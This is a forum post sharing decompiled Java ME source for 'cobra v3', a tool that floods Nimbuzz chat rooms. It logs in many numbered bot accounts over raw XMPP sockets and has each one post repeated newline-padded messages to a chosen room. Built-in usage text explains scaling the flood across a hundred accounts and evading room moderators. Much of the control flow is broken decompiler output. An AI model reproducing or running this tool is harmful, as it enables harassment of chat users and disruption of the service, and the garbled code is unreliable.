Search
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
September 2017
MonTueWedThuFriSatSun
    123
45678910
11121314151617
18192021222324
252627282930 

Calendar Calendar


mobile cobra 3.jar source code

View previous topic View next topic Go down

mobile cobra 3.jar source code

Post  n!mbuzz_police005 on Tue Feb 28, 2012 9:05 am

// Source File Name: cobra3.java
Code:

package lvl4fi4;

import java.io.IOException;
import java.io.OutputStream;
import javax.microedition.io.Connector;
import javax.microedition.io.SocketConnection;
import javax.microedition.lcdui.*;
import javax.microedition.midlet.MIDlet;

public class cobra3 extends MIDlet
    implements CommandListener
{

    public cobra3()
    {
        midletPaused = false;
    }

    private void initialize()
    {
        stopCommand = new Command("Stop", 8, 0);
        cancelCommand3 = new Command("Cancel", 8, 0);
    }

    public void startMIDlet()
    {
        switchDisplayable(null, getForm());
    }

    public void resumeMIDlet()
    {
    }

    public void switchDisplayable(Alert alert, Displayable nextDisplayable)
    {
        Display display = getDisplay();
        if(alert == null)
            display.setCurrent(nextDisplayable);
        else
            display.setCurrent(alert, nextDisplayable);
    }

    public Command getExitCommand()
    {
        if(exitCommand == null)
            exitCommand = new Command("Exit", 7, 0);
        return exitCommand;
    }

    public Command getBackCommand()
    {
        if(backCommand != null);
        return backCommand;
    }

    public Form getForm()
    {
        if(form == null)
        {
            form = new Form("lvl4fi4 cobra v3 mobile edition", new Item[] {
                getFp(), getSp(), getFrm(), getTu(), getP(), getRes(), getRoom(), getProom(), getLeft(), getSub(),
                getMsg(), getMax(), getPr(), getStringItem()
            });
            form.addCommand(getOk());
            form.setCommandListener(this);
        }
        return form;
    }

    public TextField getFp()
    {
        if(fp == null)
            fp = new TextField("firstPart", "", 100, 0);
        return fp;
    }

    public TextField getSp()
    {
        if(sp == null)
            sp = new TextField("Second part", "fuckid", 100, 0);
        return sp;
    }

    public TextField getFrm()
    {
        if(frm == null)
            frm = new TextField("index", "1", 100, 2);
        return frm;
    }

    public TextField getTu()
    {
        if(tu == null)
            tu = new TextField("jumla", "100", 5, 2);
        return tu;
    }

    public TextField getP()
    {
        if(p == null)
            p = new TextField("password", "masoud123", 100, 0x10000);
        return p;
    }

    public TextField getRoom()
    {
        if(room == null)
            room = new TextField("room name", "qqqq", 100, 0);
        return room;
    }

    public TextField getProom()
    {
        if(proom == null)
            proom = new TextField("room password", "1", 100, 0);
        return proom;
    }

    public Command getScreenCommand()
    {
        if(screenCommand == null)
            screenCommand = new Command("Start", 1, 0);
        return screenCommand;
    }

    public TextField getMsg()
    {
        if(msg == null)
            msg = new TextField("message", " :D\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u2665_\u2660_\u25CA_\u2663_l_v_l_4_F_i_4_\u2663_\u25CA_\u2660_\u2665", 500, 0);
        return msg;
    }

    public StringItem getStringItem()
    {
        if(stringItem == null)
            stringItem = new StringItem("How Use!", "ex: your flooder jid is : [You must be registered and logged in to see this link.]\nfirst part= my\nSecond part= flooder\nindex=0\njumla=200\ntype room name without \"@conference.nimbuzz.com\"\nfor locked room set password of room\nset left nick name to change nick name of flooder jids on leaving room or leave it empty for normal lefting.\nif u want mix up owner set subject in flooding to protect ur jid from outcast or delet subject tag to flood without subject room,\nset maximom sending message for each flooder jid.\n________________________________________\nset priod how much time u want flood with all jids y have 1o flooder jid ? set priod to 1o u will flood 1oo times ;-) \n\u2665_\u2660_\u25CA_\u2663_l_v_l_4_F_i_4_\u2663_\u25CA_\u2660_\u2665\ncreated by lvl4fi4\nsik@nim\n3!k@nim\n.~*lvl4f!4y3~lvl4kl-lf!*~.@nim\n\u0639\u0644\u06CC\u0631\u0636\u0627@nim\n\u2665_\u2660_\u25CA_\u2663_l_v_l_4_F_i_4_\u2663_\u25CA_\u2660_\u2665");
        return stringItem;
    }

    public TextField getSub()
    {
        if(sub == null)
            sub = new TextField("subject", "<subject>/me \240</subject>", 100, 0);
        return sub;
    }

    public TextField getMax()
    {
        if(max == null)
            max = new TextField("Max Message", "5", 1, 2);
        return max;
    }

    public TextField getRes()
    {
        if(res == null)
            res = new TextField("resource", "\u2665_\u2660_\u25CA_\u2663_l_v_l_4_F_i_4_\u2663_\u25CA_\u2660_\u2665", 100, 0);
        return res;
    }

    public TextField getLeft()
    {
        if(left == null)
            left = new TextField("Left Nick Name", null, 100, 0);
        return left;
    }

    public TextField getPr()
    {
        if(pr == null)
            pr = new TextField("Priod", "2", 2, 2);
        return pr;
    }

    public Command getExitCommand1()
    {
        if(exitCommand1 == null)
            exitCommand1 = new Command("Exit", 7, 0);
        return exitCommand1;
    }

    public Command getExit()
    {
        if(exit == null)
            exit = new Command("Exit", 7, 0);
        return exit;
    }

    public Command getExit1()
    {
        if(exit1 == null)
            exit1 = new Command("Ok", 4, 0);
        return exit1;
    }

    public Command getExitCommand2()
    {
        if(exitCommand2 == null)
            exitCommand2 = new Command("Exit", 7, 0);
        return exitCommand2;
    }

    public Command getOkCommand1()
    {
        if(okCommand1 == null)
            okCommand1 = new Command("Ok", 4, 0);
        return okCommand1;
    }

    public Command getScreenCommand1()
    {
        if(screenCommand1 == null)
            screenCommand1 = new Command("Screen", 1, 0);
        return screenCommand1;
    }

    public Command getExitCommand3()
    {
        if(exitCommand3 == null)
            exitCommand3 = new Command("Exit", 7, 0);
        return exitCommand3;
    }

    public void commandAction(Command command, Displayable displayable)
    {
        int j;
        int m;
        if(displayable == alert)
        {
            if(command == cancelCommand1)
                switchDisplayable(null, getForm());
            else
            if(command == exitCommand5)
                exitMIDlet();
            break MISSING_BLOCK_LABEL_639;
        }
        if(displayable != form || command != ok)
            break MISSING_BLOCK_LABEL_639;
        j = 0;
        m = Integer.parseInt(pr.getString());
        j = 0;
_L5:
        if(j >= m) goto _L2; else goto _L1
_L1:
        int f;
        int t;
        int n;
        f = Integer.parseInt(frm.getString());
        t = Integer.parseInt(tu.getString());
        n = Integer.parseInt(max.getString());
        String ff = fp.getString();
        String ss = sp.getString();
_L4:
        if(f >= t)
            continue; /* Loop/switch isn't completed */
        SocketConnection sc;
        OutputStream os;
        sc = (SocketConnection)Connector.open("socket://openfire.nimbuzz.com:5222");
        os = null;
        String user = fp.getString().trim() + String.valueOf(f) + sp.getString().trim();
        os = sc.openOutputStream();
        byte data[] = "<?xml version='1.0'?><stream:stream xml:lang='en' version='1.0' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams'>".getBytes("UTF-8");
        os.write(data);
        String out = "<iq id='_xmpp_auth' type='set'><query xmlns='jabber:iq:auth'><username>" + user + "</username><password>" + p.getString().trim() + "</password><resource>" + res.getString().trim() + "\u2665_\u2660_\u25CA_\u2663_l_v_l_4_F_i_4_\u2663_\u25CA_\u2660_\u2665</resource></query></iq>";
        data = out.getBytes("UTF-8");
        os.write(data);
        out = "<presence to='" + room.getString().trim() + "@conference.nimbuzz.com/" + user + "'><x xmlns='http://jabber.org/protocol/muc'><password>1</password></x></presence>";
        data = out.getBytes("UTF-8");
        os.write(data);
        out = "<message to='" + room.getString().trim() + "@conference.nimbuzz.com' type='groupchat'>" + sub.getString().trim() + "<body>/me \240" + msg.getString().trim() + "</body></message>";
        data = out.getBytes("UTF-8");
        os.write(data);
        int i = 0;
        for(i = 0; i < n; i++)
            os.write(data);

        out = "<presence type='unavailable' to'" + room.getString().trim() + "@conference.nimbuzz.com/" + user + left.getString() + "'/>";
        data = out.getBytes("UTF-8");
        os.write(data);
        out = "</stream:stream>";
        data = out.getBytes("UTF-8");
        os.write(data);
        sc.close();
        os.close();
        f++;
        continue; /* Loop/switch isn't completed */
        Exception exception;
        exception;
        sc.close();
        os.close();
        f++;
        throw exception;
        IOException x;
        x;
        x.printStackTrace();
        if(true) goto _L4; else goto _L3
_L3:
        j++;
          goto _L5
_L2:
        switchDisplayable(getAlert(), getForm());
    }

    public Command getOk()
    {
        if(ok == null)
            ok = new Command("Start", 4, 0);
        return ok;
    }

    public Command getCancelCommand()
    {
        if(cancelCommand == null)
            cancelCommand = new Command("Cancel", 3, 0);
        return cancelCommand;
    }

    public Command getItemCommand()
    {
        if(itemCommand == null)
            itemCommand = new Command("Item", 8, 0);
        return itemCommand;
    }

    public Command getBackCommand1()
    {
        if(backCommand1 == null)
            backCommand1 = new Command("Back", 2, 0);
        return backCommand1;
    }

    public Command getExitCommand4()
    {
        if(exitCommand4 == null)
            exitCommand4 = new Command("Exit", 7, 0);
        return exitCommand4;
    }

    public Alert getAlert()
    {
        if(alert == null)
        {
            alert = new Alert("Job Done!", "Flooding Done!\nExit or new Job?", null, null);
            alert.addCommand(getExitCommand5());
            alert.addCommand(getCancelCommand1());
            alert.setCommandListener(this);
            alert.setTimeout(-2);
        }
        return alert;
    }

    public Command getOkCommand()
    {
        if(okCommand != null);
        return okCommand;
    }

    public Command getExitCommand5()
    {
        if(exitCommand5 == null)
            exitCommand5 = new Command("Exit", 7, 0);
        return exitCommand5;
    }

    public Command getBackCommand2()
    {
        if(backCommand2 == null)
            backCommand2 = new Command("Back", 2, 0);
        return backCommand2;
    }

    public Command getCancelCommand1()
    {
        if(cancelCommand1 == null)
            cancelCommand1 = new Command("Cancel", 3, 0);
        return cancelCommand1;
    }

    public Command getCancelCommand2()
    {
        if(cancelCommand2 == null)
            cancelCommand2 = new Command("Cancel", 3, 0);
        return cancelCommand2;
    }

    public Command getItemCommand1()
    {
        if(itemCommand1 == null)
            itemCommand1 = new Command("Item", 4, 1);
        return itemCommand1;
    }

    public Display getDisplay()
    {
        return Display.getDisplay(this);
    }

    public void exitMIDlet()
    {
        switchDisplayable(null, null);
        destroyApp(true);
        notifyDestroyed();
    }

    public void startApp()
    {
        if(midletPaused)
        {
            resumeMIDlet();
        } else
        {
            initialize();
            startMIDlet();
        }
        midletPaused = false;
    }

    public void pauseApp()
    {
        midletPaused = true;
    }

    public void destroyApp(boolean flag)
    {
    }

    private boolean midletPaused;
    private Command cancelCommand1;
    private Command cancelCommand2;
    private Command exitCommand;
    private Command okCommand;
    private Command stopCommand;
    private Command backCommand;
    private Command cancelCommand3;
    private Command itemCommand1;
    private Command screenCommand;
    private Command exitCommand1;
    private Command exitCommand2;
    private Command okCommand1;
    private Command exit;
    private Command exit1;
    private Command exitCommand3;
    private Command ok;
    private Command screenCommand1;
    private Command itemCommand;
    private Command cancelCommand;
    private Command exitCommand4;
    private Command backCommand1;
    private Command backCommand2;
    private Command exitCommand5;
    private Form form;
    private TextField sp;
    private TextField frm;
    private TextField fp;
    private TextField proom;
    private TextField room;
    private TextField p;
    private TextField tu;
    private TextField msg;
    private StringItem stringItem;
    private TextField pr;
    private TextField sub;
    private TextField max;
    private TextField res;
    private TextField left;
    private Alert alert;
}
avatar
n!mbuzz_police005
Admin

Posts : 120
Join date : 2012-01-14
Age : 24
Location : ranchi

View user profile http://nimbuzzdad.forumotions.in

Back to top Go down

View previous topic View next topic Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum